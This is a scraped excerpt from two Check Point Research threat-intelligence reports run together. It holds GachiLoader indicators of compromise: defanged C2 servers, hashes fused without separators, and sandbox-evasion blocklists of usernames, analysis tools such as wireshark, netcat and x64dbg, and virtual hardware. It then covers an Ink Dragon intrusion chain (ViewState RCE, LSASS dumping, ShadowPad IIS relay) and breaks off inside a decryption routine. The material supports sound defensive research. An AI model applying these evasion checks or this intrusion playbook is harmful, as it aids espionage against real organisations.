fd9dc02eed858fd5207e758e84b7ea1a84f27b0e782d0cf3a39db9fd72c3869bd136f9440d9133df2668bac02ab8150fe9bc7b44a69936322b624fdf80a4f0de635970e81df481a8014760def4bdd933639d01e8381fed910f5cf6d0e974560afc446451bdff27eb46d17a25416a9cbefb705d13ccaf8bbc03461f3112fd5132c6261a187e111cbbc94fa932ad24e84cb308195ad7d05fa2d9bb2716a0f6f9c11a4c3f570e17622f041536a253ab17dfc10011a65225356cb120970b4c4948df1c37ced23e1d90617390211860b40839338c235df016cafeed7bdda9f39b17b86f48a9fe8e37d2b812d6ce5653ee7c54157b6288469152dd64a4cb3cb25943bbc3b28e909e6cdc47ab4a4496d42d84281d5d89c4fdad665cad0546e820aa29e9a18d454f2e70516e7aa7c9dbfc459993516cde705685f1e44a75c29c55d9f71abe7733c78eb3f6f8f99b86d4a68490e56a6f5a963523743685ecb6c8bd1d87389dbe0fde0ed74747bb58f78df2c11f247cc173051cc0e058fad7def595d14b8ce03889a53f09e67864cc19f5b831fde944c7ee917cbd3af9ff89ed4893d2fa441d12bf5d9f25531eef40e268b251ce117375bbcaa1a586506d3fa56fa722b200713ee4c1bf37df47e517702f3becf6e3c85733dfea0031572bf199c1f56faad951b354573f566a942a7c59f53efd9418f0c97850a749a806ee84e88056138c699d3b4d08af624c81e47e350123490897fa04fe43886ae9cec9b128e8b9ef54fe9405b4612f64a20a44a60dd899bf0cccb5de57897dd80819cd36c55878a56ed0d1c995352f8a881216fce67e89b8a56774504b5ea86ebb763d87ff7426a9344d13790e7eaf94c8771545fd31371dcdfbe80260378709e686b44c2b440957cb923aa952b37f9bc90f545b3eb8d5bd963d00debc6f3ff22403f94f91d063f18a7fb85be59ebfa1bd55fc9aecc625992448306e0dd456e4011bc07a926046ed6d3280aededaefbfa7f980b0d29f8c12933ef68daff306e2cbec3247db8242a5d97e6a96927d7ff02edab9a670769ce074b2f6d6728909950785d2c8507e01d3333de98156c58ff89d6917b775ef0bd38e4ee3a401bb310c4276eba79ff872b827920f72185b3ffd7d43487fa1e15d8ea2a1e8737533cfcf7763cad6cb7504f270500a37f4261
GachiLoader’s C2 Servers	davpniktonevidit[.]cfdnupogodi[.]cfd94[.]154[.]35[.]99nexus-cloud-360[.]comglobalmarket247online[.]com176[.]46[.]152[.]18213[.]209[.]150[.]104[vault-360-nexus[.]com]iietrich[.]cfdmceenzie[.]sbs62[.]60[.]226[.]23366[.]63[.]187[.]72digitalservice365cloud[.]com178[.]16[.]52[.]231
Variant 2 – Kidkadi Dropper	01bdbb37d4b5d22ab98f1977f89c0eb69b35cdbf1d690c434a9d21dc1d0c56b002bdf8a8206b520db3d55fb7426ecef1ad10518f22eba26c848e548b75bc999904bb04bbea55fa1dabda974b2c2f4aceb44ddccb7b9c1715e0aa67318369a7680577a28c0bcc1b033f44f458ab2d068fc301ef30d4175a3d2012d3601e9e13e10859936dff1e2af60940c5f0764e187c642ffea5344118eb702a7ac59f5a928108b5875f9867aa6c71cb8d96fb79de9f8975e0f7d1298388c95845aaa49e55de0ef9623e3ba8bc2c5be6de9cccd4a9e17bf74d1f8f83455da40c35f72fb34922110a17f1d65790337329d22d94ac10a9b6581202d5eab02897cb41ac543f100713f1ee54ec2f7ca835313b828c64d1b0ffd6288c59e3361013a17c765da7335c178a24418d3057eb38b80e63786f9908a856618f1d19a9b667a55dff2717c9db20179c8ceeede0056b0d3f545d0641160490642c90b23dce5603b8b47acb62d02101d91dc775638f1f392d0867aca9a15d9139f0c986ed7004df134c9c52fcfe254abb6da9296f8c6f8e567186e3d59ddba2392fa4baf791492f7e76b4ff5af728a9a74d8eeae80de63a1938cadfa55a5a0f334e593e975cb32af8ec3cae79e62aea932e216145e38e5751f4daa9788974dd8e4ad4e90d7b42613d3df6341aee2e519a26e3cb67b9e1186065c4245f89b8cdfb5b3346fc86b028213e0f08c2862ed1c34780a3e9d2972f14d2828abf77a329075bd4c055458ef2f064237544b9354a66191805500b4a45d7455fd02527ffe0b76ae9285eabf8f182ea7d893c1938063272da02cf4fd383c634df988c07dcb2ce59cc3cdb036c4ff155fefc62e238da058e5fafbdd9c371f4d64e7cc0e317ad1e59291470ddf01c7681c0c03c433903bab79a2fa38e05df6f311d2dc9640c5916f8050bffab0d47ab8e58837210396caae9215849b674eecb0f8d5b91985f81986069c09e50454cb8f607ad423139c72a4467ead5190ab2aff718c1d8fe66dd03760b3c2bb085466d56a6d10f3e39cdf78fdfeeb8ce82f5a8b0abbbfb1a74fd0bf9568e11a9b5f5d47060c33dc73dbea0934dd2de6441ba27b762dc6424ce518f4882555fb96cd5225f9167339a405072e611a49489d1074dafcd84791f60ab9daebf55be36b924718e9d847c48416b81138d3c20578228c9610dca686eb7193e8d93cc4a2a18e6815efeacb810425d78b7a5cbd87b36e4ca991171e90851d0dac29fe5934fe9b289ea8879329846926ff7f778ea242603d233eabc0916a8a6945769fa0ea20c60cbac1f1641504a509f3605cb039c6f426e110b23ce82f1ef67db06c32e4bc5ebfb3ae3ca1e314bdf84addb7e9bce6bb98086e6554f68fd529c49ae20b770d8db9ffc9debd3df4bf54789913bfbca6bb87263137ff6a662e32eb9e9ff124441af6304cc2b401e568e8082704d7fd2473862e93120412de1d043da5d106a12f9d1d5f1492eb17356e4bb0f077b2081f0fcdaeaa90d8c6da48beedfb0a381ae054030e5a2988f05574934eeab1d23c163c4e59cad869de2f5c3d46dbdd563b17fb4320b53e957705982d92d6a3bd210fd13a9986bda7f9fc6cb0321e523506acf9dc2e9ee6501de59a17d129944bf8bc426d23746b285522d94b293eb2c2808d56a307022e5b92d5a290d01a08f774f13f0991b7cf5c8c48b8cd2c0eb896ad069f02a474d8747f25bd83b8ecfb1efd13191a76cb0998cf6d645491b76b6fe4f1a516bfd756bed3b5e4ae0bdc6081a22357e73aff3023a63623f3475610b23c35ff073b0b68901756253d1285a7579f482ba1983a2c4db2c01f9f11194dac76aca4424e3d6977a0262db621c97bdaadffc1e900aac8d3af6e4e759b27018da635418c3921e1c8068679ff95c8c383d55b60d80d1803f347e206bd358e3980ee8de1de105680ffb376bcb16d0ceae1b27bc7860477aa60a8c2a2588fb7625aa3a2dd78ee5436584376dc57007880918de4ef89d98b70dfa0cb1ac4c7a9d1eeffc57408d3f185249806e087f40e4aac5fa780bfd1046c1d65e2b59c6abf391f9507718e61be61ddf426edb286fa173145e8bb9597d8f02ec3d86f9f680468ba48618bcc5d2240ad12173cf316dc4359d80022e0ff7be22b9c86530e982a1d939e78a20090b9373b8a477c728333ebff9d313d87b763b9d8e4a9d580b76f734ea6e43d7cc7bc81da2607a70e48a2721d5f5946ec2904dee105ba6c8561b205e5e8fce2aa5f6f3ef05497c53826ea6a9f4ba8d44ca455f1723af9d72b99e97d5053babcfd528fb344e2480e8a40be533b4470275d567f7f9d21f6ba4e41e9b3272de77ff67ab9f8442b4828c2b61686f9dd8ee888a89ad92793b586a273b57bfd0ad57be6ae2f72616b1861c9536994ea3bb6c7aa5463001b79ab61fd945cf44956074d9034e384b38348b30ecb0376e7853c4b323e6b504c967d76f22aa880c587878aa4d5de9bd98088ee29bb1ea8f289d2233fd8053001a29b4fb7d5275120bbcb3e92f5cd5a77b478fb633896f714598c3b935cc45658f3fa14c99a006708c0a78e2f7d29b4c2b1f90f4f2c7d5fd9ea10e05cd9bb28a7700fe3fd5cc97d5d59b7e0f043e74f4adbd9dc8628aa94effdb2e982d10a6daa4b7897b75db9d452d806f839c9099c01fd49f074ac880d8ae454c84dc03fcbaf0a9c4a15b32a28a590708a38ec6542fc6209f38d473a87c4c72760dd3e578c21f23b271c3c6a28d92e9ffa842073c4abc3ba0857210ed5a0e38a73a908158905f4271bf82d3f18e0f73494c1846043102f6a21d016f92be196e4d101a9f20d928ededa930dca835e5bdaffa0ea96372530ea3bdc6f2f7930af9d4f3378c88fa9c84ee36c8a79b6689c0907fb4e065d7b572a66220bea0f76e47ca218b99a2b91c7347cb3a291f2df03329009fde23c1a02aa745b6efbb006d7c9c33503c12f247a95d3d72b98e22f6aa883d7ef45359afdcaa71db5eb8ec06fbf676dacbb53bc3fdab62169b7287fe5d489713661ddf6360af14df77f75b1440cd98dc39e4fd24e4d4da62904a699ca2e977c91db30ecc0dafdcb3443f1b46fe4bd0818654dcbf48a542afdebef4c0725618cd66b2dbddf9b10e7bbe60e82ec581a3dea4d829838d9c9603f4581125d0200b620d366c75cbb281b6ffb8cf114b5836ead7cbc424179ac4070e2b15721a5a84af6be0b376d1b8d46875182730276cf2a67de909ab4b8f3f298554f39928b418984d8cb515b0bb359ebb2ddc1489a3489c0c37b974d05f9a37e23d4e74517d882fb5c7e493b0bb88a06cff4e8d73eef046c6a8352dfff7f52903761ced27acd68c065391a464bd2fb7d2bb7c15d634a986068d5cf811faa83aed72cb7e81df5e5082b22356d2be68dd32a6b3375935fac1cebf132a2fc7fbfd4074cb8c53022d8eb4e7e17db1bf5ce4b2911f2d6592abafaf5096936e61d23f98fd9a6b6bbcd763269fba729bc0b239f989ecd535b9e80570487a39ad67c1e77ba3133caba150da7bf553b724c10d286de8111a7133831d57394164586584157da2b50d7f3bb85582d69c2b17c26b86a7e9ff0fb61a2ac0e9eaf78ed34e97a0326df66c7d2311ee7a6033e590c2b66d97a64d87ce48eb5fb972d23a6b834a677ae154f9f8d4300e9699922ca5c7646b0f6de08759e19928e25f2ca65cd023a9b820101ae52eb2dc7c7f6f1a69cbeb46542f05028aee563efb5afa3616612637b31928f98b3d880de2ca524fb0ce5b2579a7893c29ad24ad7126cb83ab629e1d879f69348ad2eb5f9b884d4c44d1b7ae2d2e12faa4244bd4e5625ffbb2e525586f888bf5b292386221672b5b6dd5038061e4d308341f6dfd7e807c84266442dbd0afe3b567082ebf6fdbd4c5d4d51e67e9d81041500994880ecbad47f43a66fc4779a5f79c2c1f47517b8b14ecd79722670889cf3ce869ed23be59c12029e0df3e536162045b6a87f0b522672dd80cd0fe212dcfd4a0e683d36c48ba73a7e500a31dbf3f629a13c89565db7580d8d138f4ebb7a5f12691e2c4edddcf906b66bd5640f8e09e1196a629a624a2cad9e2773a56847f4d28e82b2e7215bc4db05807a08d49588f6d6b40be9a430d1bdbb8a2943af9559d4b3ec8e4c0879cfee3edd882e78b1cd1fb4546acdd7365eedce1732d7e260843a9930dea78ff1dc6c469bd306817c827318b56d754f77a98dd851d7d8b79900e151f91f82d9f1826db493b67f012829783001ab5ffe392e2ddf5f0ac5484e8e3090b9ce51f53f57cba9550be0e5fcdc2b60787ffc31c15c5de13a7f1f2cc3cfeeaed063b558134631add81f74e58595bfdf921ff78470a9cde40f512a3ead48f8c334bcd92198304df41d166ee0c0a90dc4a281464ee7980ded2e57b60ba81fe9fc9a52ee0591db262527a0b6d166c6ca7165bfb99c4e835e076d0d1bac228175f0ea23046f0bb7241b0a0457d245ae365ec3de8554a3499e2627e6c31bb30f791ae80fbbf7d6b57a9ce6ae9e568cff6942ccf6f72195a5ee4d7ace20cd9704805d144c26bd8c54f6a1b3175b549b6c8279e2d0ee81da9d2e58ed739c3e6f0f1b0aee262ce0cd99cff6fa04ec7bd665c7c9de7fdfd289c1ee7372984816703e5664bb1a0632bd7689d573e2868ceccd138c0a5a2977b2a23e79d67e6c265ff53fb428123711db25b5fc3612ae650b55a2c6484bce3385bece806c33313e0490293edeb998abcd9413744e307af5619662ae6a62f6224aee7ec55eadc6aab2a8c519c016e4b238b39463345c87160b7e2005e6e38ef05ff21eca5155749b0f83671e8c17094a4380c19a3b5096781bd7b88cd9f93a70fc574ed0cbb7b137a10493319473610209016f2c1a8b9560876bc32999b472a32e18fee363c5bdc5e786b0b47840d8fe69a5bd71f3684a9eec5d9e49b9ab68c64c793ee752ce83f645fe4d3db0b1d8c41428d7b9adf37e72a9c21c153450862d30906eed231bda3ad5a946a254d06865610e50b05eabaece8f09f84323d9fb23e2742ef4d2a7ca4306626ff90e53ebad63e243a50dff63f34eb0eeaeb4acb2f39c42bf0269f2b26534acc3ef8bee5b243c54b14812769249a974b2e2b7eba9734a967f1de30fa0eeedc1f1a7d97736cf751c88fb01456a182f97ede7294bc89bf69aff4f18af4acee36826b8e2162749250ffb96fc7f8f154d181dd1b8179cf4da68df73e65f624f15d967951a6795c712daf31363ab1602485c164549b04989caaaff9648d34727738abe86310378929ab7a8d5c8f2698c913bc84dee9be49e3b96af98ce437118aeca437a43612858068f4ea6099bb93c63f1b4ffc4d4335e8eaedfbae3424943aec7aea7ce380c7a83c89ca9c6ff243bfac5186edba6e560f5b66fd06caf741fd4e5fc9f00c575cc22c00f1a7fd55e826a16dbabc8b3436ed64c4
Rhadamanthys C2 Servers	176[.]46[.]152[.]18:8181/gDatFeDway/r26ggaap[.]dssde178[.]16[.]53[.]193/mK2k20ajW7kairt1mg88vT1aT9vwU5AZN9AkYYs2QBNbnXV3ph/YEr2KP0jEBhSDdVcS9cWNhbKUgDxcEm9kqxLwFAdHgmKyw7FZq[.]exe180[.]178[.]189[.]34:8181/gDatFeDway/mh3af5md[.]wg4ja180[.]178[.]189[.]34:8181/gDatFeDway/ujp8k5q9[.]kbtsk185[.]141[.]216[.]120:1888/gateway/st2jdbg8[.]gsg453[.]126[.]4378[.]16[.]53[.]193/mK2k20ajW7kairt1mg88vT1aT9vwU5AZN9AkYYs2QBNbnXV3ph/YEr2KP0jEBhSDdVcS9cWNhbKUgDxcEm9kqxLwFAdHgmKyw7FZq[.]exe94[.]154[.]35[.]99:1888/gateway/el3tkioe[.]xcg4w94[.]154[.]35[.]99:1888/gateway/mbw0n34s[.]gibis94[.]154[.]35[.]99:1888/gateway/wwpac3ey[.]q23nfcxbnqdytjgrxutmzawczv[.]cg/gateway/0f4m3h8r[.]trz19jfbcrmphnnikoktsmcpzirlplkwp[.]zl/gateway/8pv47lge[.]93qfg
Kidkadi.node	2ac4f1a2e22c99a823f18dba8ad5aafde0de98966d5534d5af61650d1f47997cf87b964e6a619cae6bb8852822d70bee93d708da98214e3b2381ff0774ee8e620e0a094e2d27a0e3583ff528296f784d29e139bed9ba41fdc6788169c83698b472eb1f7a418def9d64aaadc556f9350d2a8c444eb7ab56fc59324c5d5f4d76f933bba47346c03968977688bddbdd245210c06fb7686b4dfc78789c70e2a95219f9ab9fc5f1e092ace1dcea7610f4643040a85a5385e3eab3c3666bfe09dc8d6b90fa0da74389a302edd4cdb641f280bf95b9f73ed7145f0f9c1728c576cfc0df1d405b03bc5913b6b43c06550ef0b9b02196b270625e4dc5fa0c37e8a424be25
HookPE.exe	ded68a8f5d0765740d469c08bd66270097f3474eab92ee1e65ddcdd6d15fca6e

Appendix A – Username Blocklist

mashinesssss	sandbox	honey
vmware	currentuser	nepenthes
andy	hal9th	johndoe
wdagutilityaccount	abby	peter wilson
hmarc	patex	john-pc
rdhj0cnfevzx	keecfmwgqj	frank
8nl0colnq5bq	lisa	john
pxmduopvyx	8vizsm	w0fjuovmcpa
lmvwjj9b	pqonjhvwxss	3u2v9m8
julia	heuerzl	harry johnson
j.seance	a.monaldo	tvmt
johanna	johnson	miller
malware	maltest	virus
test user	sand bog	bruno
anand	it-admin	walker

Appendix B – Hostname Blocklist

b30f0242-1c6a-4	desktop-vrsqlag	q9itrkphr
xc64zb	desktop-d019gdm	desktop-wi8clet
server1	lisa-pc	john-pc
desktop-b0t93d6	desktop-1pypk29	desktop-1y2433r
wileypc	wok	6c4e733f-c2d9-4
ralphs-pc	desktop-wg3myjs	desktop-7xc6gez
desktop-5oy9s0o	qarzhrdbj	orelee pc
archibaldpc	julia-pc	d1b_coursek
comname_5076	ralphs-pc	desktop-vkeons4
tdt-eff-2w11wss	work	q9iatrkphr

Appendix C – Process Blocklist

human.exe	cred-store.exe	device-sense.exe
private-cloud-proxy.exe	tib_monitor_monitor.exe	tmsmonitor.exe
vmtoolsd.exe	adpagent.exe	fakenet.exe
dumpcap.exe	httpdebugger.exe	wireshark.exe
fiddler.exe	vboxservice.exe	df5serv.exe
vboxtray.exe	ollydbg.exe	pestudio.exe
vmwareuser.exe	vgautservice.exe	vmacthlp.exe
x96dbgn.exe	vmsrvc.exe	x32dbgn.exe
vmusrvc.exe	prl_cc.exe	prl_tools.exe
xenservice.exe	qemu-ga.exe	joeboxcontrol.exe
ksdumperclient.exe	ksdumper.exe	joeboxserver.exe
vmwareservice.exe	vmwaretray.exe	todaydeathdo.exe
mitmdump.exe	idaw.exe	vxtkernelsvcntmgr.exe
windbg.exe	dumpit.exe	procmon.exe
rammap.exe	rammap64.exe	inetsim.exe
hvix64.exe	ida64.exe	x64dbg.exe
cutter.exe	r2.exe	binaryninja.exe
dbgview.exe	tcpdump.exe	netcat.exe
idaq64.exe	frida-server.exe	frida-inject.exe
frida.exe	pin.exe	drrun.exe
apimonitor.exe	volatility.exe	rekall

Appendix D – Drive Manufacturer Blocklist

vmware	xen	msft virtual
hyper-v	kvm	red hat
aws	azure	google
gcp	openstack	cinder
ovirt	citrix	virtuozzo
virtio

Appendix E – Video Controller Blocklist

virtualbox graphics adapter	vbox disp adapter	qemu virtual video
hyper-v video	parallels display adapter wddm	red hat qxl
xen vga	citrix display adapter

The post GachiLoader: Defeating Node.js Malware with API Tracing appeared first on Check Point Research.

Key Findings

• In recent months, Check Point Research has identified a new wave of attacks attributed to the Chinese threat actor Ink Dragon. Ink Dragon overlaps with threat clusters publicly reported as Earth Alux, Jewelbug, REF7707, CL-STA-0049, among others.
• Ink Dragon has expanded its operational focus to new regions – In the last few months, the threat actor’s activities show increased focus on government targets in Europe in addition to continued activities in Southeast Asia and South America.
• Ink Dragon builds a victim-based relay network – Ink Dragon leverages a custom ShadowPad IIS Listener module to turn compromised servers into active nodes within a distributed mesh, allowing each victim to forward commands and traffic, effectively transforming targets into part of their C2 infrastructure.
• Ink Dragon continues to exploit long-known IIS misconfigurations for initial access – Despite years of public reporting and awareness within the security community, Ink Dragon still relies on predictable or mismanaged ASP.NET machineKey values to perform ViewState deserialization attacks against vulnerable IIS and SharePoint servers.
• Ink Dragon is evolving its operations with new TTPs and tools – The cluster has introduced a new variant of FinalDraft malware with enhanced stealth and higher exfiltration throughput, along with advanced evasion techniques that enable stealthy lateral movement and multi-stage malware deployment across compromised networks.

Introduction

Check Point Research tracks a sustained, highly capable espionage cluster, which we refer to as Ink Dragon, and is referenced in other reports as CL-STA-0049, Earth Alux, or REF7707. This cluster is assessed by several vendors to be PRC-aligned. Since at least early 2023, Ink Dragon has repeatedly targeted government, telecom, and public-sector infrastructure, initially concentrating on Southeast Asia and South America, but with an increasing footprint in Europe and other regions. The actor’s campaigns combine solid software engineering, disciplined operational playbooks, and a willingness to reuse platform-native tools to blend into normal enterprise telemetry. This mix makes their intrusions both effective and stealthy.

A notable characteristic of Ink Dragon’s operations is their tendency to convert compromised environments into part of a larger, distributed relay network. By deploying a ShadowPad IIS Listener Module across multiple victims, the group effectively turns each breached server into a communication node capable of receiving, forwarding, and proxying commands. This design allows attackers to route traffic not only deeper inside a single organization’s network, but also across different victim networks entirely. As a result, one compromise can quietly become another hop in a global, multi-layered infrastructure supporting ongoing campaigns elsewhere, blending operational control with strategic reuse of previously breached assets.

This blog also presents the forensic story of a high‑stakes compromise of a European government office, highlighting recurring methods observed across different victims. We walk through the entire kill chain observed in the field, including web-centric initial access, hands-on-keyboard activity, staged loaders, privilege escalation, and credential-harvesting components, as well as aggressive lateral movement that culminated in domain dominance. We also document multiple delivery and persistence patterns that Ink Dragon favors, and unpack a new variant of the FinalDraft backdoor, which is used as a resilient, cloud-native command-and-control platform.

Beyond the technical details, this article shows how Ink Dragon’s tooling and repeatable TTPs reflect a mature, modular development model that steadily expands in capability while maintaining a consistent operational philosophy.

Attack Chain

Attackers begin by gaining initial access through ViewState deserialization or ToolShell-based exploits, then deploy ShadowPad on the compromised server. They harvest IIS worker credentials and establish an RDP proxy to move laterally, using RDP and ShadowPad’s built-in capabilities along with reused credentials. After obtaining access to a domain admin account, they achieve domain dominance. From there, they deploy FinalDraft on strategic machines and install a ShadowPad IIS listener on public-facing servers, enabling new victims to connect to the attackers’ infrastructure as the campaign continues.

Initial Access

In the environments we investigated, the common initial access vector is exploitation of ASP.NET ViewState deserialization via publicly disclosed machine keys. In this scenario, the __VIEWSTATE parameter, normally protected using the application’s machineKey, can be forged if the key is copied from public sources. Once the attacker can generate a valid signature, they can inject a crafted ViewState payload that the server deserializes, leading to remote code execution.

In other cases, we’ve also observed the actor abusing the ToolShell SharePoint vulnerability. ToolShell is an exploit chain targeting on-premises Microsoft SharePoint that combines authentication bypass and unsafe deserialization (CVE-2025-49706 / CVE-2025-53771 and CVE-2025-49704 / CVE-2025-53770, among others) to enable unauthenticated remote code execution and web shell deployment on vulnerable servers. In July 2025, we observed the actor conducting mass scanning for the ToolShell vulnerability during the initial waves of exploitation, indicating the actor was among a limited set of actors with early access to the exploit.

This demonstrates that the attackers have multiple web-facing options for initial compromise. The practical workflow is straightforward: enumerate internet-facing IIS/SharePoint servers, test for predictable machine keys or vulnerable SharePoint endpoints (often using publicly available fuzzing lists), and submit crafted POSTs or payloads that trigger deserialization/RCE. These attacks are stealthy and scale well against large organizations with inconsistent web configurations.

Internal Operation & Kill Chain Overview

Lateral Movement

In these campaigns, the adversary leverages two complementary strengths of a web compromise after gaining an initial foothold: privileged local artifacts (the IIS application/service credentials and configuration) and visibility into active administrative sessions.

By obtaining the IIS machineKey/DecryptionKey or otherwise recovering the site’s cryptographic secrets, the attacker can decrypt locally stored configuration blobs and credentials that the site or its worker processes store. In practice, this frequently yields the IIS worker/app-pool account password or other local secrets that carry elevated rights on the host and often across other IIS servers that reuse the same service account or credential material.

With a local administrative credential in hand, Ink Dragon escalates from code execution in w3wp.exe to full system control, and then leverages that control to create a persistent remote access channel (commonly an RDP tunnel or scheduled task that launches an administrative payload). Because many organizations reuse service credentials across web farms for management convenience, obtaining a single IIS credential can allow the actor to authenticate to sibling IIS hosts and pivot laterally with minimal network noise. Ink Dragon frequently tunnels RDP traffic to reach internal hosts from a remote workstation, exposing their machine names and enabling direct, interactive sessions that appear superficially legitimate.

From there, the attacker’s lateral playbook becomes straightforward: stage a resilient implant (ShadowPad/FinalDraft variants are common) and propagate it using native protocols such as SMB. The operator copies the triad (EXE + side-loaded DLL + encrypted blob) into writable shares, creating a service or scheduled task to run the payload, and attempting to disguise the service/process under a plausible name.

Persistence

The most common patterns we observed:

1. Scheduled tasks – the actor created tasks with benign-looking names (notably SYSCHECK) set to run under SYSTEM and pointing to staged loader hosts such as conhost.exe. Tasks were often created to run once at a chosen time, allowing the operator to bootstrap wide-scale re-execution while minimizing noisy periodic callbacks.
2. Service installation – on several machines, Ink Dragon installed services to launch their loaders as persistent system services, with service names disguised as Windows updates or temporary maintenance (e.g., WindowsTempUpdate). These services were used to run side-loaded triads (EXE + malicious DLL + encrypted blob), guaranteeing automatic restart and SYSTEM execution after reboots.

It’s essential to note that many of the staged executables (e.g., conhost.exe) were renamed to resemble native Windows binaries, yet they were digitally signed by legitimate vendors such as Advanced Micro Devices, Realtek Semiconductor Corp, and NVIDIA. Their OriginalFileName metadata differed from the on-disk names, indicating deliberate masquerading and abuse of trusted signatures to blend with the operating system.

Privilege Escalation

Ink Dragon combines targeted exploitation with heavy credential harvesting to quickly escalate local control into domain-level dominance.

1. Local escalation via exploitation: In multiple incidents, the initial __VIEWSTATE RCE was followed by local escalation tooling such as PrintNotifyPotato to obtain SYSTEM from a web server context. This allowed full control over the host and the rights to create persistent services and change firewall settings.
2. Credential harvesting and LSASS dumping: the operators deployed custom tools (we observed variants of LalsDumper) to create LSASS dumps and extract registry hives (SAM, SYSTEM) into ProgramData or user-profile directories for offline cracking. Dump files and registry hive exports were then used to recover NTLM hashes and Kerberos material.
3. Leveraging idle sessions: Ink Dragon actively enumerated Remote Desktop sessions and administrative consoles on key servers. In at least one instance, the actor located an idle RDP session belonging to a Domain Administrator that had authenticated via Network Level Authentication (CredSSP) using NTLMv2 fallback. Since the session remained disconnected but not logged off, it is highly likely that LSASS retained the associated logon token and NTLM verifier in memory. Ink Dragon obtained SYSTEM-level access to the host, extracted the token (and possibly the NTLM key material), and reused it to perform authenticated SMB operations. Through these actions, they were able to write to administrative shares and exfiltrate NTDS.dit and registry hives, marking the point at which they achieved domain-wide privilege escalation and control.

Enabling Egress

Ink Dragon modified host firewall rules to permit broad outbound traffic and effectively turned compromised hosts into unconstrained exfiltration/proxy nodes.

The group created a permissive outbound rule labeled to resemble legitimate software (we observed a rule named Microsoft MsMpEng, associated with MsMpEng.exe) that allowed Any → Any outbound traffic across all profiles. The rule was created locally (not via GPO), enabled, and applied to the Defender process in SYSTEM context. This bypasses upstream egress controls that would otherwise block custom ports or tunneling traffic.

Building the Relay Network

During the investigation, we discovered that Ink Dragon is actively converting compromised organizations into functional communication nodes within a distributed ShadowPad relay network. This capability is powered by an IIS Listener Module. Instead of serving as a traditional backdoor, the module enables the malware to register new URL listeners directly through the HttpAddUrl API, which lets processes bind HTTP(S) endpoints dynamically, including wildcard patterns that match all sub-paths or hostnames. This means the malicious listener seamlessly coexists with legitimate IIS behavior, silently intercepting any incoming HTTP requests whose URL matches its configuration. When a request arrives, the module decrypts the payload and evaluates whether the structure fits its proprietary protocol. If not, it falls back to genuine IIS logic, serving real web content or returning legitimate error codes. The result is a hard-to-detect implant that blends into the server’s normal traffic patterns while retaining full control over its hidden C2 channel.

Where this becomes significantly more strategic is in how the module manages remote peers. The listener can categorize external IP addresses into two functional roles: servers and clients. It automatically pairs nodes from each list to relay traffic between them. Once two peers are matched, the compromised host becomes a live forwarding point: data arriving from the “server” side is streamed directly to the “client,” and responses are returned in the same manner, effectively turning the victim into a transparent communication bridge. We observed multiple instances where government entities were inadvertently serving as C2 relays. In some instances, the victim machine is leveraged as a hop, serving as an access node for ShadowPad clients active in other, unrelated target environments. This chaining effect forms a multi-layered mesh of compromised infrastructure, allowing the operator to issue commands to downstream implants without direct communication with them.

Beyond its role in constructing a large-scale external relay network, the ShadowPad IIS module also exposes a conventional internal proxy capability, designed to route commands toward ShadowPad nodes located deeper within the same network. When the attackers need to deliver instructions to implants that do not have direct external reachability, the IIS module simply relays the traffic internally, behaving much like a pivot point inside the compromised environment. This capability is not new in concept, but its integration into a legitimate IIS worker process makes it extremely difficult to distinguish malicious lateral communication from normal internal service traffic.

Beyond the relay logic itself, the module leaves behind an unusually rich forensic artifact: debug strings that document the number of bytes it forwards between external and internal IP addresses. These strings include source, destination, and payload size. During our investigation, this telemetry proved essential in reconstructing the attackers’ communication graph, enabling us to map exactly how commands entered the victim, how they were relayed, and which internal hosts were drawn into the chain. The presence of such granular logging underscores just how central the relay mechanism is to the operator’s workflow: the victim is not merely compromised, but actively repurposed as a communication bridge that keeps the broader ShadowPad infrastructure stitched together.

This architecture enhances stealth and survivability. By routing commands through unrelated victims, the true controlling IP is never exposed, and network defenders have difficulty distinguishing malicious cross-organization traffic from legitimate inter-government or inter-infrastructure communication. Most significantly, every newly compromised perimeter system can be repurposed immediately as another hop, allowing Ink Dragon to expand its operational reach while obscuring both the origin and the direction of command flow.

Tools & Post‑Exploitation Components

As we expanded our analysis beyond the initial access vector, a broader toolset began to emerge. Ink Dragon does not operate with a single backdoor or a monolithic framework; instead, the intrusions feature a sequence of purpose-built components that activate at different stages of the operation. What follows is a breakdown of the post-exploitation tooling we recovered, from IIS-embedded ShadowPad modules to debugger-based loaders, credential-harvesting implants, and long-term command-and-control platforms.

Summary of Observed Components

Category	Name	Function	Brief Description
IIS Backdoors & C2	ShadowPad IIS Listener Module	Core C2 & relay node	Intercepts selected IIS traffic, decrypts commands, builds a distributed relay network, and exposes a full ShadowPad backdoor on IIS servers.
Loader	ShadowPad Loader	Payload delivery	Triad structure (EXE + DLL + TMP) that decrypts and runs the ShadowPad core in memory while deleting artifacts.
Loader	CDBLoader	Memory-resident payload execution	Uses cdb.exe scripts to patch memory, run shellcode, and load AES-encrypted payloads via a debugger session.
Credential Access	LalsDumper	LSASS dump extraction	Registers a malicious SSP DLL in LSASS, extracts a compressed LSASS memory dump via custom direct-syscall logic.
Loader	032Loader	Host-dependent payload loader	RC4-like decryption using the system’s InstallDate as entropy, delivering payloads via shared memory mapping.
Modular RAT	FinalDraft	Long-term espionage & cloud C2	Modular RAT using Microsoft Graph API; supports exfiltration, RDP history harvesting, tunneling, scheduling, and mailbox-based command exchange.

ShadowPad IIS Listener Module

Module Initialization

The ShadowPad IIS Listener Module deployed in this intrusion is a fully integrated component designed to masquerade as part of the legitimate IIS stack while quietly providing command-and-control and relay capabilities. Its configuration block defines several operational parameters that determine both how it responds to benign web traffic and how it handles attacker-controlled messages. These include a server type string (used in HTTP response headers), a document root path, and a fallback error page path. Even when configuration fields are absent, the module falls back to realistic defaults — "C:\\inetpub\\wwwroot", "C:\\inetpub\\custerr\\en-US\\404.htm", and "Microsoft-IIS/10.0". Those values allow the module to blend seamlessly with a standard Windows Server installation.

The most important part of the configuration is the list of URL patterns the module will intercept. These patterns are stored as wildcard-enabled strings, separated by semicolons, and are used to register listeners via the Windows HttpAddUrl API. This API allows the module to attach itself to arbitrary HTTP URL prefixes, including those containing wildcards for hostnames or paths, making the listener hard to detect unless the exact bindings are enumerated at the OS level. Any inbound request matching one of these patterns is captured and passed through the module’s internal decryption and message-parsing routine.

def decrypt_first_packet(buf: bytearray, seed: int, length: int):
    """
    buf     = bytearray starting at a1->type (first byte = LOBYTE(seed), second = HIBYTE(seed))
    length  = total length of buffer (rdx)
    """
    
    count = length - 2
    seed_lo = buf[0]
    seed_hi = buf[1]
    num = (seed_hi << 8) | seed_lo
    num &= 0xFFFFFFFF
    
    pos = 2
    for _ in range(count):
        hi = (num >> 16) & 0xFFFF
        num = (hi * 0x7093915D - num * 0x6EA30000 + 0x06B0F0E3) & 0xFFFFFFFF
